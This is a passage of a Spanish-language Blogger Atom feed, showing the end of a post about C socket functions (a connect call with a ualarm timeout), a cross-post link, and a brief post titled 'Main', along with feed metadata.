sbJmp, 1)) {&lt;br /&gt;  ualarm( ulTime * 1000, 0); &lt;br /&gt;&lt;br /&gt;  iRes = connect( m_iSock, (struct sockaddr*)pSin, sizeof( *pSin ));&lt;br /&gt;&lt;br /&gt;  ualarm( 0, 0);&lt;br /&gt;&lt;br /&gt;  return iRes == -1 ? false : true;&lt;br /&gt; }&lt;br /&gt; &lt;br /&gt; return 1;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Problemas de esta pos exactamente los mismos de la anterior.&lt;br /&gt;&lt;br /&gt;Hasta acá el post que ya va largo y no se lo leen; dudas inquietudes y demás acá mismo. Ciao.&lt;br /&gt;&lt;br /&gt;También publicado en &lt;a href="http://foro.colombiaunderground.org/index.php/topic,5209.msg31505/topicseen.html#msg31505"&gt;Cuteam&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8203640040174697708?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8203640040174697708/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/recv-send-accept-y-connecttimeout.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8203640040174697708'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8203640040174697708'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/recv-send-accept-y-connecttimeout.html' title='Recv, Send, Accept y ConnectTimeout'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8248563728475996452.post-8756476858112601625</id><published>2009-12-28T18:01:00.002-05:00</published><updated>2009-12-28T18:02:55.346-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='General'/><title type='text'>Main</title><content type='html'>Pos acá es donde comienza la joda, de vuelta al código ya mucho mas viejo pero hay vamos xD.&lt;br /&gt;&lt;br /&gt;Salu2.&lt;br /&gt;&lt;br /&gt;Att: &lt;span style="font-weight:bold;"&gt;Iker&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8248563728475996452-8756476858112601625?l=codeinthehell.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://codeinthehell.blogspot.com/feeds/8756476858112601625/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/main.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8756476858112601625'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8248563728475996452/posts/default/8756476858112601625'/><link rel='alternate' type='text/html' href='http://codeinthehell.blogspot.com/2009/12/main.html' title='Main'/><author><name>Ahharu</name><uri>http://www.blogger.com/profile/15740693214280826332</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='22' height='32' src='http://4.bp.blogspot.com/-RRZhZXC1W_k/TuEqaZU7fzI/AAAAAAAAAUA/swwDROJ4ovI/s220/__cyber___by_GrotesquePuPPyMeow.jpg'/></author><thr:total>0</thr:total></entry></feed>
